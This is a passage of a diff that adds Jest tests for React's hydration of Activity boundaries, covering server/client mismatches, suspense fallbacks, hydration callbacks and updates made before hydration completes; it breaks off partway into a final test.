+      '<!--&-->Hello<div>Component</div><!--/&-->',
+    );
+
+    suspend = false;
+    resolve();
+    await promise;
+    await waitForAll([
+      // first pass, mismatches at end
+      'Hello',
+      'Component',
+      'Hello',
+      'Component',
+      "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
+    ]);
+    jest.runAllTimers();
+
+    // Client rendered - suspense comment nodes removed.
+    expect(container.innerHTML).toBe('Hello<article>Mismatch</article>');
+  });
+
+  it('handles if mismatch is child of suspended component', async () => {
+    let client = false;
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => {
+      resolve = () => {
+        suspend = false;
+        resolvePromise();
+      };
+    });
+    function Child({children}) {
+      if (suspend) {
+        Scheduler.log('Suspend');
+        throw promise;
+      } else {
+        Scheduler.log('Hello');
+        return <div>{children}</div>;
+      }
+    }
+    function Component({shouldMismatch}) {
+      Scheduler.log('Component');
+      if (shouldMismatch && client) {
+        return <article>Mismatch</article>;
+      }
+      return <div>Component</div>;
+    }
+    function App() {
+      return (
+        <Activity>
+          <Child>
+            <Component shouldMismatch={true} />
+          </Child>
+        </Activity>
+      );
+    }
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    const container = document.createElement('section');
+    container.innerHTML = finalHTML;
+    assertLog(['Hello', 'Component']);
+
+    expect(container.innerHTML).toBe(
+      '<!--&--><div><div>Component</div></div><!--/&-->',
+    );
+
+    suspend = true;
+    client = true;
+
+    ReactDOMClient.hydrateRoot(container, <App />, {
+      onRecoverableError(error) {
+        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+        if (error.cause) {
+          Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+        }
+      },
+    });
+    await waitForAll(['Suspend']);
+    jest.runAllTimers();
+
+    // !! Unchanged, continue showing server content while suspended.
+    expect(container.innerHTML).toBe(
+      '<!--&--><div><div>Component</div></div><!--/&-->',
+    );
+
+    suspend = false;
+    resolve();
+    await promise;
+    await waitForAll([
+      // first pass, mismatches at end
+      'Hello',
+      'Component',
+      'Hello',
+      'Component',
+      "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
+    ]);
+    jest.runAllTimers();
+
+    // Client rendered - suspense comment nodes removed
+    expect(container.innerHTML).toBe('<div><article>Mismatch</article></div>');
+  });
+
+  it('handles if mismatch is parent and first child suspends', async () => {
+    let client = false;
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => {
+      resolve = () => {
+        suspend = false;
+        resolvePromise();
+      };
+    });
+    function Child({children}) {
+      if (suspend) {
+        Scheduler.log('Suspend');
+        throw promise;
+      } else {
+        Scheduler.log('Hello');
+        return <div>{children}</div>;
+      }
+    }
+    function Component({shouldMismatch, children}) {
+      Scheduler.log('Component');
+      if (shouldMismatch && client) {
+        return (
+          <div>
+            {children}
+            <article>Mismatch</article>
+          </div>
+        );
+      }
+      return (
+        <div>
+          {children}
+          <div>Component</div>
+        </div>
+      );
+    }
+    function App() {
+      return (
+        <Activity>
+          <Component shouldMismatch={true}>
+            <Child />
+          </Component>
+        </Activity>
+      );
+    }
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    const container = document.createElement('section');
+    container.innerHTML = finalHTML;
+    assertLog(['Component', 'Hello']);
+
+    expect(container.innerHTML).toBe(
+      '<!--&--><div><div></div><div>Component</div></div><!--/&-->',
+    );
+
+    suspend = true;
+    client = true;
+
+    ReactDOMClient.hydrateRoot(container, <App />, {
+      onRecoverableError(error) {
+        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+        if (error.cause) {
+          Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+        }
+      },
+    });
+    await waitForAll(['Component', 'Suspend']);
+    jest.runAllTimers();
+
+    // !! Unchanged, continue showing server content while suspended.
+    expect(container.innerHTML).toBe(
+      '<!--&--><div><div></div><div>Component</div></div><!--/&-->',
+    );
+
+    suspend = false;
+    resolve();
+    await promise;
+    await waitForAll([
+      // first pass, mismatches at end
+      'Component',
+      'Hello',
+      'Component',
+      'Hello',
+      "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
+    ]);
+    jest.runAllTimers();
+
+    // Client rendered - suspense comment nodes removed
+    expect(container.innerHTML).toBe(
+      '<div><div></div><article>Mismatch</article></div>',
+    );
+  });
+
+  it('does show a parent fallback if mismatch is parent and second child suspends', async () => {
+    let client = false;
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => {
+      resolve = () => {
+        suspend = false;
+        resolvePromise();
+      };
+    });
+    function Child({children}) {
+      if (suspend) {
+        Scheduler.log('Suspend');
+        throw promise;
+      } else {
+        Scheduler.log('Hello');
+        return <div>{children}</div>;
+      }
+    }
+    function Component({shouldMismatch, children}) {
+      Scheduler.log('Component');
+      if (shouldMismatch && client) {
+        return (
+          <div>
+            <article>Mismatch</article>
+            {children}
+          </div>
+        );
+      }
+      return (
+        <div>
+          <div>Component</div>
+          {children}
+        </div>
+      );
+    }
+    function Fallback() {
+      Scheduler.log('Fallback');
+      return 'Loading...';
+    }
+    function App() {
+      return (
+        <Suspense fallback={<Fallback />}>
+          <Activity>
+            <Component shouldMismatch={true}>
+              <Child />
+            </Component>
+          </Activity>
+        </Suspense>
+      );
+    }
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    const container = document.createElement('section');
+    container.innerHTML = finalHTML;
+    assertLog(['Component', 'Hello']);
+
+    const div = container.getElementsByTagName('div')[0];
+
+    expect(container.innerHTML).toBe(
+      '<!--$--><!--&--><div><div>Component</div><div></div></div><!--/&--><!--/$-->',
+    );
+
+    suspend = true;
+    client = true;
+
+    ReactDOMClient.hydrateRoot(container, <App />, {
+      onRecoverableError(error) {
+        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+        if (error.cause) {
+          Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+        }
+      },
+    });
+    await waitForAll(['Component', 'Component', 'Suspend', 'Fallback']);
+    jest.runAllTimers();
+
+    // !! Client switches to suspense fallback. The dehydrated content is still hidden because we never
+    // committed the client rendering.
+    expect(container.innerHTML).toBe(
+      '<!--$--><!--&--><div style="display: none;"><div>Component</div><div></div></div><!--/&--><!--/$-->' +
+        'Loading...',
+    );
+
+    suspend = false;
+    resolve();
+    await promise;
+    if (gate(flags => flags.alwaysThrottleRetries)) {
+      await waitForAll(['Component', 'Component', 'Hello']);
+    } else {
+      await waitForAll([
+        'Component',
+        'Component',
+        'Hello',
+        "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
+      ]);
+    }
+    jest.runAllTimers();
+
+    // Now that we've hit the throttle timeout, we can commit the failed hydration.
+    if (gate(flags => flags.alwaysThrottleRetries)) {
+      assertLog([
+        "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
+      ]);
+    }
+
+    // Client rendered - activity comment nodes removed
+    expect(container.innerHTML).toBe(
+      '<!--$--><!--/$--><div><article>Mismatch</article><div></div></div>',
+    );
+  });
+
+  it('does show a parent fallback if mismatch is in parent element only', async () => {
+    let client = false;
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => {
+      resolve = () => {
+        suspend = false;
+        resolvePromise();
+      };
+    });
+    function Child({children}) {
+      if (suspend) {
+        Scheduler.log('Suspend');
+        throw promise;
+      } else {
+        Scheduler.log('Hello');
+        return <div>{children}</div>;
+      }
+    }
+    function Component({shouldMismatch, children}) {
+      Scheduler.log('Component');
+      if (shouldMismatch && client) {
+        return <article>{children}</article>;
+      }
+      return <div>{children}</div>;
+    }
+    function Fallback() {
+      Scheduler.log('Fallback');
+      return 'Loading...';
+    }
+    function App() {
+      return (
+        <Suspense fallback={<Fallback />}>
+          <Activity>
+            <Component shouldMismatch={true}>
+              <Child />
+            </Component>
+          </Activity>
+        </Suspense>
+      );
+    }
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    const container = document.createElement('section');
+    container.innerHTML = finalHTML;
+    assertLog(['Component', 'Hello']);
+
+    expect(container.innerHTML).toBe(
+      '<!--$--><!--&--><div><div></div></div><!--/&--><!--/$-->',
+    );
+
+    suspend = true;
+    client = true;
+
+    ReactDOMClient.hydrateRoot(container, <App />, {
+      onRecoverableError(error) {
+        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+        if (error.cause) {
+          Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+        }
+      },
+    });
+    await waitForAll(['Component', 'Component', 'Suspend', 'Fallback']);
+    jest.runAllTimers();
+
+    // !! Client switches to suspense fallback. The dehydrated content is still hidden because we never
+    // committed the client rendering.
+    expect(container.innerHTML).toBe(
+      '<!--$--><!--&--><div style="display: none;"><div></div></div><!--/&--><!--/$-->' +
+        'Loading...',
+    );
+
+    suspend = false;
+    resolve();
+    await promise;
+    if (gate(flags => flags.alwaysThrottleRetries)) {
+      await waitForAll(['Component', 'Component', 'Hello']);
+    } else {
+      await waitForAll([
+        'Component',
+        'Component',
+        'Hello',
+        "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
+      ]);
+    }
+    jest.runAllTimers();
+
+    // Now that we've hit the throttle timeout, we can commit the failed hydration.
+    if (gate(flags => flags.alwaysThrottleRetries)) {
+      assertLog([
+        "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
+      ]);
+    }
+
+    // Client rendered - activity comment nodes removed
+    expect(container.innerHTML).toBe(
+      '<!--$--><!--/$--><article><div></div></article>',
+    );
+  });
+
+  it('does show a parent fallback if mismatch is before suspending', async () => {
+    let client = false;
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => {
+      resolve = () => {
+        suspend = false;
+        resolvePromise();
+      };
+    });
+    function Child() {
+      if (suspend) {
+        Scheduler.log('Suspend');
+        throw promise;
+      } else {
+        Scheduler.log('Hello');
+        return 'Hello';
+      }
+    }
+    function Component({shouldMismatch}) {
+      Scheduler.log('Component');
+      if (shouldMismatch && client) {
+        return <article>Mismatch</article>;
+      }
+      return <div>Component</div>;
+    }
+    function Fallback() {
+      Scheduler.log('Fallback');
+      return 'Loading...';
+    }
+    function App() {
+      return (
+        <Suspense fallback={<Fallback />}>
+          <Activity>
+            <Component shouldMismatch={true} />
+            <Child />
+          </Activity>
+        </Suspense>
+      );
+    }
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    const container = document.createElement('section');
+    container.innerHTML = finalHTML;
+    assertLog(['Component', 'Hello']);
+
+    expect(container.innerHTML).toBe(
+      '<!--$--><!--&--><div>Component</div>Hello<!--/&--><!--/$-->',
+    );
+
+    suspend = true;
+    client = true;
+
+    ReactDOMClient.hydrateRoot(container, <App />, {
+      onRecoverableError(error) {
+        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+        if (error.cause) {
+          Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+        }
+      },
+    });
+    await waitForAll(['Component', 'Component', 'Suspend', 'Fallback']);
+    jest.runAllTimers();
+
+    // !! Client switches to suspense fallback. The dehydrated content is still hidden because we never
+    // committed the client rendering.
+    expect(container.innerHTML).toBe(
+      '<!--$--><!--&--><div style="display: none;">Component</div><!--/&--><!--/$-->' +
+        'Loading...',
+    );
+
+    suspend = false;
+    resolve();
+    await promise;
+    if (gate(flags => flags.alwaysThrottleRetries)) {
+      await waitForAll(['Component', 'Component', 'Hello']);
+    } else {
+      await waitForAll([
+        'Component',
+        'Component',
+        'Hello',
+        "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
+      ]);
+    }
+    jest.runAllTimers();
+
+    // Now that we've hit the throttle timeout, we can commit the failed hydration.
+    if (gate(flags => flags.alwaysThrottleRetries)) {
+      assertLog([
+        "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
+      ]);
+    }
+
+    // Client rendered - activity comment nodes removed
+    expect(container.innerHTML).toBe(
+      '<!--$--><!--/$--><article>Mismatch</article>Hello',
+    );
+  });
+
+  it('does show a parent fallback if mismatch is before suspending in a child', async () => {
+    let client = false;
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => {
+      resolve = () => {
+        suspend = false;
+        resolvePromise();
+      };
+    });
+    function Child() {
+      if (suspend) {
+        Scheduler.log('Suspend');
+        throw promise;
+      } else {
+        Scheduler.log('Hello');
+        return 'Hello';
+      }
+    }
+    function Component({shouldMismatch}) {
+      Scheduler.log('Component');
+      if (shouldMismatch && client) {
+        return <article>Mismatch</article>;
+      }
+      return <div>Component</div>;
+    }
+    function Fallback() {
+      Scheduler.log('Fallback');
+      return 'Loading...';
+    }
+    function App() {
+      return (
+        <Suspense fallback={<Fallback />}>
+          <Activity>
+            <Component shouldMismatch={true} />
+            <div>
+              <Child />
+            </div>
+          </Activity>
+        </Suspense>
+      );
+    }
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    const container = document.createElement('section');
+    container.innerHTML = finalHTML;
+    assertLog(['Component', 'Hello']);
+
+    expect(container.innerHTML).toBe(
+      '<!--$--><!--&--><div>Component</div><div>Hello</div><!--/&--><!--/$-->',
+    );
+
+    suspend = true;
+    client = true;
+
+    ReactDOMClient.hydrateRoot(container, <App />, {
+      onRecoverableError(error) {
+        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+        if (error.cause) {
+          Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+        }
+      },
+    });
+    await waitForAll(['Component', 'Component', 'Suspend', 'Fallback']);
+    jest.runAllTimers();
+
+    // !! Client switches to suspense fallback. The dehydrated content is still hidden because we never
+    // committed the client rendering.
+    expect(container.innerHTML).toBe(
+      '<!--$--><!--&--><div style="display: none;">Component</div><div style="display: none;">Hello</div><!--/&--><!--/$-->' +
+        'Loading...',
+    );
+
+    suspend = false;
+    resolve();
+    await promise;
+    if (gate(flags => flags.alwaysThrottleRetries)) {
+      await waitForAll(['Component', 'Component', 'Hello']);
+    } else {
+      await waitForAll([
+        'Component',
+        'Component',
+        'Hello',
+        "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
+      ]);
+    }
+    jest.runAllTimers();
+
+    // Now that we've hit the throttle timeout, we can commit the failed hydration.
+    if (gate(flags => flags.alwaysThrottleRetries)) {
+      assertLog([
+        "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
+      ]);
+    }
+
+    // Client rendered - activity comment nodes removed
+    expect(container.innerHTML).toBe(
+      '<!--$--><!--/$--><article>Mismatch</article><div>Hello</div>',
+    );
+  });
+
+  it('calls the hydration callbacks after hydration or deletion', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+    function Child() {
+      if (suspend) {
+        throw promise;
+      } else {
+        return 'Hello';
+      }
+    }
+
+    let suspend2 = false;
+    const promise2 = new Promise(() => {});
+    function Child2({value}) {
+      if (suspend2 && !value) {
+        throw promise2;
+      } else {
+        return 'World';
+      }
+    }
+
+    function App({value}) {
+      return (
+        <div>
+          <Activity>
+            <Child />
+          </Activity>
+          <Activity>
+            <Child2 value={value} />
+          </Activity>
+        </div>
+      );
+    }
+
+    // First we render the final HTML. With the streaming renderer
+    // this may have suspense points on the server but here we want
+    // to test the completed HTML. Don't suspend on the server.
+    suspend = false;
+    suspend2 = false;
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    const hydrated = [];
+    const deleted = [];
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    suspend2 = true;
+    const root = ReactDOMClient.hydrateRoot(container, <App />, {
+      onHydrated(node) {
+        hydrated.push(node);
+      },
+      onDeleted(node) {
+        deleted.push(node);
+      },
+      onRecoverableError(error) {
+        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+        if (error.cause) {
+          Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+        }
+      },
+    });
+    await waitForAll([]);
+
+    expect(hydrated.length).toBe(0);
+    expect(deleted.length).toBe(0);
+
+    await act(async () => {
+      // Resolving the promise should continue hydration
+      suspend = false;
+      resolve();
+      await promise;
+    });
+
+    expect(hydrated.length).toBe(1);
+    expect(deleted.length).toBe(0);
+
+    // Performing an update should force it to delete the boundary if
+    // it could be unsuspended by the update.
+    await act(() => {
+      root.render(<App value={true} />);
+    });
+
+    expect(hydrated.length).toBe(1);
+    expect(deleted.length).toBe(1);
+  });
+
+  it('hydrates an empty activity boundary', async () => {
+    function App() {
+      return (
+        <div>
+          <Activity />
+          <div>Sibling</div>
+        </div>
+      );
+    }
+
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    ReactDOMClient.hydrateRoot(container, <App />);
+    await waitForAll([]);
+
+    expect(container.innerHTML).toContain('<div>Sibling</div>');
+  });
+
+  it('recovers with client render when server rendered additional nodes at suspense root', async () => {
+    function CheckIfHydrating({children}) {
+      // This is a trick to check whether we're hydrating or not, since React
+      // doesn't expose that information currently except
+      // via useSyncExternalStore.
+      let serverOrClient = '(unknown)';
+      useSyncExternalStore(
+        () => {},
+        () => {
+          serverOrClient = 'Client rendered';
+          return null;
+        },
+        () => {
+          serverOrClient = 'Server rendered';
+          return null;
+        },
+      );
+      Scheduler.log(serverOrClient);
+      return null;
+    }
+
+    const ref = React.createRef();
+    function App({hasB}) {
+      return (
+        <div>
+          <Activity>
+            <span ref={ref}>A</span>
+            {hasB ? <span>B</span> : null}
+            <CheckIfHydrating />
+          </Activity>
+          <div>Sibling</div>
+        </div>
+      );
+    }
+
+    const finalHTML = ReactDOMServer.renderToString(<App hasB={true} />);
+    assertLog(['Server rendered']);
+
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    const span = container.getElementsByTagName('span')[0];
+
+    expect(container.innerHTML).toContain('<span>A</span>');
+    expect(container.innerHTML).toContain('<span>B</span>');
+    expect(ref.current).toBe(null);
+
+    await act(() => {
+      ReactDOMClient.hydrateRoot(container, <App hasB={false} />, {
+        onRecoverableError(error) {
+          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+          if (error.cause) {
+            Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+          }
+        },
+      });
+    });
+
+    expect(container.innerHTML).toContain('<span>A</span>');
+    expect(container.innerHTML).not.toContain('<span>B</span>');
+
+    assertLog([
+      'Server rendered',
+      'Client rendered',
+      "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
+    ]);
+    expect(ref.current).not.toBe(span);
+  });
+
+  it('recovers with client render when server rendered additional nodes at suspense root after unsuspending', async () => {
+    const ref = React.createRef();
+    let shouldSuspend = false;
+    let resolve;
+    const promise = new Promise(res => {
+      resolve = () => {
+        shouldSuspend = false;
+        res();
+      };
+    });
+    function Suspender() {
+      if (shouldSuspend) {
+        throw promise;
+      }
+      return <></>;
+    }
+    function App({hasB}) {
+      return (
+        <div>
+          <Activity>
+            <Suspender />
+            <span ref={ref}>A</span>
+            {hasB ? <span>B</span> : null}
+          </Activity>
+          <div>Sibling</div>
+        </div>
+      );
+    }
+    const finalHTML = ReactDOMServer.renderToString(<App hasB={true} />);
+
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    const span = container.getElementsByTagName('span')[0];
+
+    expect(container.innerHTML).toContain('<span>A</span>');
+    expect(container.innerHTML).toContain('<span>B</span>');
+    expect(ref.current).toBe(null);
+
+    shouldSuspend = true;
+    await act(() => {
+      ReactDOMClient.hydrateRoot(container, <App hasB={false} />, {
+        onRecoverableError(error) {
+          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+          if (error.cause) {
+            Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+          }
+        },
+      });
+    });
+
+    await act(() => {
+      resolve();
+    });
+
+    assertLog([
+      "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
+    ]);
+
+    expect(container.innerHTML).toContain('<span>A</span>');
+    expect(container.innerHTML).not.toContain('<span>B</span>');
+    expect(ref.current).not.toBe(span);
+  });
+
+  it('recovers with client render when server rendered additional nodes deep inside suspense root', async () => {
+    const ref = React.createRef();
+    function App({hasB}) {
+      return (
+        <div>
+          <Activity>
+            <div>
+              <span ref={ref}>A</span>
+              {hasB ? <span>B</span> : null}
+            </div>
+          </Activity>
+          <div>Sibling</div>
+        </div>
+      );
+    }
+
+    const finalHTML = ReactDOMServer.renderToString(<App hasB={true} />);
+
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    const span = container.getElementsByTagName('span')[0];
+
+    expect(container.innerHTML).toContain('<span>A</span>');
+    expect(container.innerHTML).toContain('<span>B</span>');
+    expect(ref.current).toBe(null);
+
+    await act(() => {
+      ReactDOMClient.hydrateRoot(container, <App hasB={false} />, {
+        onRecoverableError(error) {
+          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+          if (error.cause) {
+            Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+          }
+        },
+      });
+    });
+    assertLog([
+      "onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.",
+    ]);
+
+    expect(container.innerHTML).toContain('<span>A</span>');
+    expect(container.innerHTML).not.toContain('<span>B</span>');
+    expect(ref.current).not.toBe(span);
+  });
+
+  it('calls the onDeleted hydration callback if the parent gets deleted', async () => {
+    let suspend = false;
+    const promise = new Promise(() => {});
+    function Child() {
+      if (suspend) {
+        throw promise;
+      } else {
+        return 'Hello';
+      }
+    }
+
+    function App({deleted}) {
+      if (deleted) {
+        return null;
+      }
+      return (
+        <div>
+          <Activity>
+            <Child />
+          </Activity>
+        </div>
+      );
+    }
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    const deleted = [];
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    const root = await act(() => {
+      return ReactDOMClient.hydrateRoot(container, <App />, {
+        onDeleted(node) {
+          deleted.push(node);
+        },
+      });
+    });
+
+    expect(deleted.length).toBe(0);
+
+    await act(() => {
+      root.render(<App deleted={true} />);
+    });
+
+    // The callback should have been invoked.
+    expect(deleted.length).toBe(1);
+  });
+
+  it('can insert siblings before the dehydrated boundary', async () => {
+    let suspend = false;
+    const promise = new Promise(() => {});
+    let showSibling;
+
+    function Child() {
+      if (suspend) {
+        throw promise;
+      } else {
+        return 'Second';
+      }
+    }
+
+    function Sibling() {
+      const [visible, setVisibilty] = React.useState(false);
+      showSibling = () => setVisibilty(true);
+      if (visible) {
+        return <div>First</div>;
+      }
+      return null;
+    }
+
+    function App() {
+      return (
+        <div>
+          <Sibling />
+          <Activity>
+            <span>
+              <Child />
+            </span>
+          </Activity>
+        </div>
+      );
+    }
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+
+    await act(() => {
+      ReactDOMClient.hydrateRoot(container, <App />);
+    });
+
+    expect(container.firstChild.firstChild.tagName).not.toBe('DIV');
+
+    // In this state, we can still update the siblings.
+    await act(() => showSibling());
+
+    expect(container.firstChild.firstChild.tagName).toBe('DIV');
+    expect(container.firstChild.firstChild.textContent).toBe('First');
+  });
+
+  it('can delete the dehydrated boundary before it is hydrated', async () => {
+    let suspend = false;
+    const promise = new Promise(() => {});
+    let hideMiddle;
+
+    function Child() {
+      if (suspend) {
+        throw promise;
+      } else {
+        return (
+          <>
+            <div>Middle</div>
+            Some text
+          </>
+        );
+      }
+    }
+
+    function App() {
+      const [visible, setVisibilty] = React.useState(true);
+      hideMiddle = () => setVisibilty(false);
+
+      return (
+        <div>
+          <div>Before</div>
+          {visible ? (
+            <Activity>
+              <Child />
+            </Activity>
+          ) : null}
+          <div>After</div>
+        </div>
+      );
+    }
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(<App />);
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    await act(() => {
+      ReactDOMClient.hydrateRoot(container, <App />);
+    });
+
+    expect(container.firstChild.children[1].textContent).toBe('Middle');
+
+    // In this state, we can still delete the boundary.
+    await act(() => hideMiddle());
+
+    expect(container.firstChild.children[1].textContent).toBe('After');
+  });
+
+  it('blocks updates to hydrate the content first if props have changed', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+    const ref = React.createRef();
+
+    function Child({text}) {
+      if (suspend) {
+        throw promise;
+      } else {
+        return text;
+      }
+    }
+
+    function App({text, className}) {
+      return (
+        <div>
+          <Activity>
+            <span ref={ref} className={className}>
+              <Child text={text} />
+            </span>
+          </Activity>
+        </div>
+      );
+    }
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(
+      <App text="Hello" className="hello" />,
+    );
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    const span = container.getElementsByTagName('span')[0];
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    const root = ReactDOMClient.hydrateRoot(
+      container,
+      <App text="Hello" className="hello" />,
+    );
+    await waitForAll([]);
+
+    expect(ref.current).toBe(null);
+    expect(span.textContent).toBe('Hello');
+
+    // Render an update, which will be higher or the same priority as pinging the hydration.
+    root.render(<App text="Hi" className="hi" />);
+
+    // At the same time, resolving the promise so that rendering can complete.
+    // This should first complete the hydration and then flush the update onto the hydrated state.
+    await act(async () => {
+      suspend = false;
+      resolve();
+      await promise;
+    });
+
+    // The new span should be the same since we should have successfully hydrated
+    // before changing it.
+    const newSpan = container.getElementsByTagName('span')[0];
+    expect(span).toBe(newSpan);
+
+    // We should now have fully rendered with a ref on the new span.
+    expect(ref.current).toBe(span);
+    expect(span.textContent).toBe('Hi');
+    // If we ended up hydrating the existing content, we won't have properly
+    // patched up the tree, which might mean we haven't patched the className.
+    expect(span.className).toBe('hi');
+  });
+
+  // @gate www
+  it('blocks updates to hydrate the content first if props changed at idle priority', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+    const ref = React.createRef();
+
+    function Child({text}) {
+      if (suspend) {
+        throw promise;
+      } else {
+        return text;
+      }
+    }
+
+    function App({text, className}) {
+      return (
+        <div>
+          <Activity>
+            <span ref={ref} className={className}>
+              <Child text={text} />
+            </span>
+          </Activity>
+        </div>
+      );
+    }
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(
+      <App text="Hello" className="hello" />,
+    );
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    const span = container.getElementsByTagName('span')[0];
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    const root = ReactDOMClient.hydrateRoot(
+      container,
+      <App text="Hello" className="hello" />,
+    );
+    await waitForAll([]);
+
+    expect(ref.current).toBe(null);
+    expect(span.textContent).toBe('Hello');
+
+    // Schedule an update at idle priority
+    ReactDOM.unstable_runWithPriority(IdleEventPriority, () => {
+      root.render(<App text="Hi" className="hi" />);
+    });
+
+    // At the same time, resolving the promise so that rendering can complete.
+    suspend = false;
+    resolve();
+    await promise;
+
+    // This should first complete the hydration and then flush the update onto the hydrated state.
+    await waitForAll([]);
+
+    // The new span should be the same since we should have successfully hydrated
+    // before changing it.
+    const newSpan = container.getElementsByTagName('span')[0];
+    expect(span).toBe(newSpan);
+
+    // We should now have fully rendered with a ref on the new span.
+    expect(ref.current).toBe(span);
+    expect(span.textContent).toBe('Hi');
+    // If we ended up hydrating the existing content, we won't have properly
+    // patched up the tree, which might mean we haven't patched the className.
+    expect(span.className).toBe('hi');
+  });
+
+  it('shows the fallback of the parent if props have changed before hydration completes and is still suspended', async () => {
+    let suspend = false;
+    let resolve;
+    const promise = new Promise(resolvePromise => (resolve = resolvePromise));
+    const outerRef = React.createRef();
+    const ref = React.createRef();
+
+    function Child({text}) {
+      if (suspend) {
+        throw promise;
+      } else {
+        return text;
+      }
+    }
+
+    function App({text, className}) {
+      return (
+        <Suspense fallback="Loading...">
+          <div ref={outerRef}>
+            <Activity>
+              <span ref={ref} className={className}>
+                <Child text={text} />
+              </span>
+            </Activity>
+          </div>
+        </Suspense>
+      );
+    }
+
+    suspend = false;
+    const finalHTML = ReactDOMServer.renderToString(
+      <App text="Hello" className="hello" />,
+    );
+    const container = document.createElement('div');
+    container.innerHTML = finalHTML;
+
+    // On the client we don't have all data yet but we want to start
+    // hydrating anyway.
+    suspend = true;
+    const root = ReactDOMClient.hydrateRoot(
+      container,
+      <App text="Hello" className="hello" />,
+      {
+        onRecoverableError(error) {
+          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));
+          if (error.cause) {
+            Scheduler.log('Cause: ' + normalizeError(error.cause.message));
+          }
+        },
+      },
+    );
+    await waitForAll([]);
+
+    expect(container.getElementsByTagName('div').length).toBe(1); // hidden
+    const div = container.getElementsByTagName('div')[0];
+
+    expect(outerRef.current).toBe(div);
+    expect(ref.current).toBe(null);
+
+    // Render an update, but leave it still suspended.
+    await act(() => {
+      root.render(<App text="Hi" className="hi" />);
+    });
+
+    // Flushing now should hide the existing content and show the fallback.
+
+    expect(outerRef.current).toBe(null);
+    expect(div.style.display).toBe('none');
+    expect(container.getElementsByTagName('span').length).toBe(1); // hidden
+    expect(ref.current).toBe(null);
+    expect(container.textContent).toBe('HelloLoading...');
+
+    // Unsuspending shows the content.
+    await act(async () => {
+      suspend = false;
+      resolve();
+      await promise;
+    });
+
+    const span = container.getElementsByTagName('span')[0];
+    expect(span.textContent).toBe('Hi');
+    expect(span.className).toBe('hi');
+    expect(ref.current).toBe(span);
+    expect(container.textContent).toBe('Hi');
+  });
+
+  it('clears nested activity boundaries if they did not hydrate yet', async () => {
+    let suspend = false;
+    const promise = new Promise(() => {});
